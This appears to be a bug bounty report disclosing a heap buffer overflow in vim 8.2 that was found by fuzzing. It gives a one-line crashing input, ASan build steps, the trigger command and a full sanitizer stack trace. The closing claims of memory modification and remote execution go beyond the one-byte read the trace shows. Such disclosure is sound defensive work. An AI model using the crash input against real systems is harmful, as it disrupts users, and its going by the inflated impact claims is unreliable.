✍️ Description

When fuzzing vim commit cd2f8f0e0 (works with latest build and latest commit 7c0fb8003 per this time of this report) v8.2.3811 with clang 13 and ASan, I discovered a heap buffer overflow.

Proof of Concept

Here is the poc

ev0->(

How to build

LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make -j$(nproc)

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_skipwhite -c :qa!

ASan stack trace:

aldo@vps:~/vim-8.2.3635/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_skipwhite -c :qa!
=================================================================
==355566==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006538 at pc 0x0000013d15ae bp 0x7fffffff8910 sp 0x7fffffff8908
READ of size 1 at 0x602000006538 thread T0
    #0 0x13d15ad in skipwhite /root/vimafl/src/charset.c:1469:12
    #1 0x6b186b in eval0 /root/vimafl/src/eval.c:2230:9
    #2 0x834eeb in ex_eval /root/vimafl/src/ex_eval.c:940:9
    #3 0x7dbd89 in do_one_cmd /root/vimafl/src/ex_docmd.c:2578:2
    #4 0x7c9035 in do_cmdline /root/vimafl/src/ex_docmd.c:1000:17
    #5 0xe5a6a9 in do_source /root/vimafl/src/scriptfile.c:1420:5
    #6 0xe56e45 in cmd_source /root/vimafl/src/scriptfile.c:985:14
    #7 0xe56a2e in ex_source /root/vimafl/src/scriptfile.c:1011:2
    #8 0x7dbd89 in do_one_cmd /root/vimafl/src/ex_docmd.c:2578:2
    #9 0x7c9035 in do_cmdline /root/vimafl/src/ex_docmd.c:1000:17
    #10 0x7cdc71 in do_cmdline_cmd /root/vimafl/src/ex_docmd.c:594:12
    #11 0x13f46c2 in exe_commands /root/vimafl/src/main.c:3080:2
    #12 0x13f084d in vim_main2 /root/vimafl/src/main.c:774:2
    #13 0x13e5c71 in main /root/vimafl/src/main.c:426:12
    #14 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #15 0x41fe1d in _start (/root/vimafl/src/vim+0x41fe1d)

0x602000006538 is located 0 bytes to the right of 8-byte region [0x602000006530,0x602000006538)
allocated by thread T0 here:
    #0 0x49c5cd in __interceptor_malloc (/root/vimafl/src/vim+0x49c5cd)
    #1 0x4ce952 in lalloc /root/vimafl/src/alloc.c:244:11
    #2 0x4ce83a in alloc /root/vimafl/src/alloc.c:151:12
    #3 0xf88136 in vim_strsave /root/vimafl/src/strings.c:27:9
    #4 0x7c83d5 in do_cmdline /root/vimafl/src/ex_docmd.c:918:21
    #5 0xe5a6a9 in do_source /root/vimafl/src/scriptfile.c:1420:5
    #6 0xe56e45 in cmd_source /root/vimafl/src/scriptfile.c:985:14
    #7 0xe56a2e in ex_source /root/vimafl/src/scriptfile.c:1011:2
    #8 0x7dbd89 in do_one_cmd /root/vimafl/src/ex_docmd.c:2578:2
    #9 0x7c9035 in do_cmdline /root/vimafl/src/ex_docmd.c:1000:17
    #10 0x7cdc71 in do_cmdline_cmd /root/vimafl/src/ex_docmd.c:594:12
    #11 0x13f46c2 in exe_commands /root/vimafl/src/main.c:3080:2
    #12 0x13f084d in vim_main2 /root/vimafl/src/main.c:774:2
    #13 0x13e5c71 in main /root/vimafl/src/main.c:426:12
    #14 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/vimafl/src/charset.c:1469:12 in skipwhite
Shadow bytes around the buggy address:
  0x0c047fff8c50: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c60: fa fa fd fa fa fa 06 fa fa fa fd fa fa fa fd fa
  0x0c047fff8c70: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c90: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 00 00
=>0x0c047fff8ca0: fa fa 05 fa fa fa 00[fa]fa fa fd fd fa fa 00 03
  0x0c047fff8cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8cc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==355566==ABORTING

💥 Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution